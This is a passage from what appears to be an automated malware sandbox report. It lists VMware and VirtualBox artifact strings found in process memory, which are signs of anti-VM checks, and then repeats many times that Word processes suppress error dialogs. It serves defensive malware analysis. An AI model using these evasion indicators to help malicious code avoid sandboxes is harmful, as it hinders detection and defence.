Source: explorer.exeBinary or memory string: C:\Documents and Settings\Administrator\Local Settings\Application Data\VMware
Source: explorer.exeBinary or memory string: C:\WINDOWS\system32\VBoxTray.exe
Source: explorer.exeBinary or memory string: VMware
Source: explorer.exeBinary or memory string: Root\LEGACY_VMHGFS\0000
Source: explorer.exeBinary or memory string: SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S&Rev_1.0\4&5fcaafc&0&000
Source: explorer.exeBinary or memory string: plication Data\VMware
Source: explorer.exeBinary or memory string: \??\C:\WINDOWS\system32\VBoxService.exe
Source: MSOXMLED.EXE, WINWORD.EXE, fdgfdgdfga.exe, edg1.exe, rundll32.exe, explorer.exeBinary or memory string: \??\C:\WINDOWS\system32\VBoxTray.exe
Source: explorer.exeBinary or memory string: Root\LEGACY_VBOXSF\0000
Source: explorer.exeBinary or memory string: hgfs.dat

Hooking and other Techniques for Hiding and Protection:

barindex
Disables application error messsages (SetErrorMode)Show sources
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSOXMLED.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSOXMLED.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSOXMLED.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
